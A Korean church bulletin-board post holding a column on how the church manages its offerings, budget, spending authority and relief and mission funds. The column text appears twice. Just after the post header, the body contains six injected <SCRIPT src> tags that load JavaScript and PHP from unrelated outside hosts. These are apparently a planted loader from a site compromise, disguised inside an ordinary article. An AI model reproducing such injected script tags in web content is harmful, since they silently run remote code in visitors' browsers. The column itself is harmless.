칼럼 [이진우 칼럼]우리교회 재정운용은..
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작성자 by 관리자 / 작성일05-04-08 13:12 / 조회 5,476 / 댓글0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script> +본문은 창성교회 홈피(http://changsung.org) 칼럼난에 올려진 것입니다.
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http://changsung.org
우리 교회의 재정 운용은...
이진우(건강교회운영위원장 / johnjinwoo@hanmail.net)
교회가 크고 작은 구설수에 휩싸이는 것은 순식간의 일이다. 그것은 많은 경우, 교회 재정과 관련되어 있다. 아직 미흡한 상태이지만, 우리 교회의 재정 운용의 원칙은 다음과 같다.
* 현재 우리 교회의 재정 운용 구조는 건강한 상황이라고 자체 평가할 수 있다.
헌금은 크게 주일 헌금, 감사 헌금, 십일조 항목으로 되어 있다(외에 헌금 봉투에 보면 선교, 구제, 장학, 건축을 지정하여 '표시'할 수 있는 난은 마련되어 있다).
그러나 헌금 항목은 일단 심플해야 한다는 원리를 따르려 하고 있다.
드린 자는 자기 비밀 번호나 이름을 기입하되, 재정부의 명확한 정리나 연말 정산등을 위하여 그냥 무기명 '공란'은 지양하고 있다.
* 일단, 모든 헌금 수입은 재정부에서 치밀하게 관리하며, 모든 지출은 "년 예산(年預算)에 준하여" 시행되고 있다(그래서 년 예산을 참으로 진지하게 세울 필요가 있다).
단, 예산 외의 지출이 발생할 때에는 대개 시간상 촉박한 경우로서 당회의 논의를 거치고, 집행 후 분기마다 개회되는 제직회에 보고하는 형식을 갖는다.
* 연 예산안 내의 각 부서의 지출 청구는, 부서 회계와 부장(필요시 교역자)의 사인(Sign)을 담으며, 그 부서장은 사용에 대해 권리를 가지며 동시에 책임을 진다(어떤 항목에 대해서는 해당 위원장 장로와 사전 조율을 가짐을 권장).
정확히 예산에 근거하며, 서류가 구비된 청구에 대해서 재정부는 정확하게 집행만 한다. 재정부나 제삼자가 그 세부 내용이나 금액에 대해 왈가왈부하지 않는다.
물론, 재정부도 헌금 집행의 권리와 동시에 책임을 지며, 원칙에 준한 분명한 재정 집행에 대해서는 담임 목사나 그 누구도 간섭을 하지 않는다.
* 우리 교회의 재정은 운용상 경상 재정과 나눔 재정이 있다.
경상 재정은 주로 십일조와 감사 헌금, 주일 헌금으로 만들어진다.
나눔 재정은 선교, 구제, 장학 헌금으로서 각기 독립된 재정 운용을 한다.
선교는 성도들의 선교 지정 헌금과 다락방 헌금으로, 구제는 구제 지정 헌금과 이삭 헌금으로, 장학은 장학 지정 헌금으로 만들어진다.
* 원론적으로 나눔 사역은 일정한 지속성이 필요하다. 따라서 결손시 경상 재정에서 지원하여 그 사역이 지속되게 함이 당연하다.
현재 성도들의 나눔을 위한 지정 헌금은 매월 "자원(自願)" 형식을 가지고 있다. 온 성도의 나눔에 관한 관심과 헌신이 미달될 때에는 선교 구제 사역 부서는 지출에 비해 수입이 미달될 수밖에 없다.
사람 눈을 보고 내야 하는 헌금이나 강요된 형식의 헌금을 배제하는 우리 교회는 각 성도의 정직하며 성실한 헌금으로만 유지되며, 소리 없는 헌신과 희생으로 드려진 헌금들이 정착될 때에야 건강한 교회로서의 힘 있는 나눔 사역이 가능해진다.
이것이 어렵다고 헌금자 명단을 발표하거나 강요하거나 그 금액을 고지하는 등의 행위는 교회의 본질을 훼손하는 본말이 전도된 모습이 아닐 수 없다.
* 아직 우리 교회의 아쉬움은 나눔 사역이 많이 미흡한 상태로서, 이는 "엥겔지수"의 원리처럼 교회 자체의 소규모성을 멀리 벗어나지 못한 처지임에이다.
헌금의 바깥을 향한 사용, 즉 선교나 사회 참여의 헌금을 단지 그 교회 헌금 총액의 %로만 평가하는 일은 조급스런 일이다. 예로, 자체 유지도 어려운 교회가 내는 월 5만원의 구제비는 대형 교회의 5백만원 보다 큰 것이라 할 수 있다.
* 우리의 교회 밖을 위한 지출은 미자립 교회 돕기, 해외 선교사 지원, 사회 시설 구제, 지역민 구제, 그리고 기독교 기관 지원 외에 수시로 시행하는 나눔 헌금(예: 태국 해일 수재민돕기 등)이 있다. 외에 장학부의 신학교 돕기, 지역을 위한 지역 전도비 역시 크게는 이 범주에 해당될 수 있다.
*교회의 헌금의 정당한 용도는, 대외 지출 이상으로 예배와 교육 그리고 자기 유지 역시 중요한 것이다. 우리는 교회가 교회되기 위한 예배를 위한 지출(유지,관리 등)과 교육을 위한 지출(교회학교, 훈련 등) 등 역시 중요한 것임을 알고 있다.
결국 교회의 재정 건강도는 그 교회의 현실에 비추어 얼마나 균형 있는, 그리고 정직한 운용을 하고 있는가에 달려 있다.
* 온 교우는 자신이 낸 헌금의 상황이나 그 외에 헌금 쓰임처에 대한 질문을 언제든지 재정부에 할 수 있으며, 그것을 위해 재정부는 늘 준비하고 있다(직접 방문, 혹은 이메일 등).
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우리 교회의 재정 운용은...
이진우(건강교회운영위원장 / johnjinwoo@hanmail.net)
교회가 크고 작은 구설수에 휩싸이는 것은 순식간의 일이다. 그것은 많은 경우, 교회 재정과 관련되어 있다. 아직 미흡한 상태이지만, 우리 교회의 재정 운용의 원칙은 다음과 같다.
* 현재 우리 교회의 재정 운용 구조는 건강한 상황이라고 자체 평가할 수 있다.
헌금은 크게 주일 헌금, 감사 헌금, 십일조 항목으로 되어 있다(외에 헌금 봉투에 보면 선교, 구제, 장학, 건축을 지정하여 '표시'할 수 있는 난은 마련되어 있다).
그러나 헌금 항목은 일단 심플해야 한다는 원리를 따르려 하고 있다.
드린 자는 자기 비밀 번호나 이름을 기입하되, 재정부의 명확한 정리나 연말 정산등을 위하여 그냥 무기명 '공란'은 지양하고 있다.
* 일단, 모든 헌금 수입은 재정부에서 치밀하게 관리하며, 모든 지출은 "년 예산(年預算)에 준하여" 시행되고 있다(그래서 년 예산을 참으로 진지하게 세울 필요가 있다).
단, 예산 외의 지출이 발생할 때에는 대개 시간상 촉박한 경우로서 당회의 논의를 거치고, 집행 후 분기마다 개회되는 제직회에 보고하는 형식을 갖는다.
* 연 예산안 내의 각 부서의 지출 청구는, 부서 회계와 부장(필요시 교역자)의 사인(Sign)을 담으며, 그 부서장은 사용에 대해 권리를 가지며 동시에 책임을 진다(어떤 항목에 대해서는 해당 위원장 장로와 사전 조율을 가짐을 권장).
정확히 예산에 근거하며, 서류가 구비된 청구에 대해서 재정부는 정확하게 집행만 한다. 재정부나 제삼자가 그 세부 내용이나 금액에 대해 왈가왈부하지 않는다.
물론, 재정부도 헌금 집행의 권리와 동시에 책임을 지며, 원칙에 준한 분명한 재정 집행에 대해서는 담임 목사나 그 누구도 간섭을 하지 않는다.
* 우리 교회의 재정은 운용상 경상 재정과 나눔 재정이 있다.
경상 재정은 주로 십일조와 감사 헌금, 주일 헌금으로 만들어진다.
나눔 재정은 선교, 구제, 장학 헌금으로서 각기 독립된 재정 운용을 한다.
선교는 성도들의 선교 지정 헌금과 다락방 헌금으로, 구제는 구제 지정 헌금과 이삭 헌금으로, 장학은 장학 지정 헌금으로 만들어진다.
* 원론적으로 나눔 사역은 일정한 지속성이 필요하다. 따라서 결손시 경상 재정에서 지원하여 그 사역이 지속되게 함이 당연하다.
현재 성도들의 나눔을 위한 지정 헌금은 매월 "자원(自願)" 형식을 가지고 있다. 온 성도의 나눔에 관한 관심과 헌신이 미달될 때에는 선교 구제 사역 부서는 지출에 비해 수입이 미달될 수밖에 없다.
사람 눈을 보고 내야 하는 헌금이나 강요된 형식의 헌금을 배제하는 우리 교회는 각 성도의 정직하며 성실한 헌금으로만 유지되며, 소리 없는 헌신과 희생으로 드려진 헌금들이 정착될 때에야 건강한 교회로서의 힘 있는 나눔 사역이 가능해진다.
이것이 어렵다고 헌금자 명단을 발표하거나 강요하거나 그 금액을 고지하는 등의 행위는 교회의 본질을 훼손하는 본말이 전도된 모습이 아닐 수 없다.
* 아직 우리 교회의 아쉬움은 나눔 사역이 많이 미흡한 상태로서, 이는 "엥겔지수"의 원리처럼 교회 자체의 소규모성을 멀리 벗어나지 못한 처지임에이다.
헌금의 바깥을 향한 사용, 즉 선교나 사회 참여의 헌금을 단지 그 교회 헌금 총액의 %로만 평가하는 일은 조급스런 일이다. 예로, 자체 유지도 어려운 교회가 내는 월 5만원의 구제비는 대형 교회의 5백만원 보다 큰 것이라 할 수 있다.
* 우리의 교회 밖을 위한 지출은 미자립 교회 돕기, 해외 선교사 지원, 사회 시설 구제, 지역민 구제, 그리고 기독교 기관 지원 외에 수시로 시행하는 나눔 헌금(예: 태국 해일 수재민돕기 등)이 있다. 외에 장학부의 신학교 돕기, 지역을 위한 지역 전도비 역시 크게는 이 범주에 해당될 수 있다.
*교회의 헌금의 정당한 용도는, 대외 지출 이상으로 예배와 교육 그리고 자기 유지 역시 중요한 것이다. 우리는 교회가 교회되기 위한 예배를 위한 지출(유지,관리 등)과 교육을 위한 지출(교회학교, 훈련 등) 등 역시 중요한 것임을 알고 있다.
결국 교회의 재정 건강도는 그 교회의 현실에 비추어 얼마나 균형 있는, 그리고 정직한 운용을 하고 있는가에 달려 있다.
* 온 교우는 자신이 낸 헌금의 상황이나 그 외에 헌금 쓰임처에 대한 질문을 언제든지 재정부에 할 수 있으며, 그것을 위해 재정부는 늘 준비하고 있다(직접 방문, 혹은 이메일 등).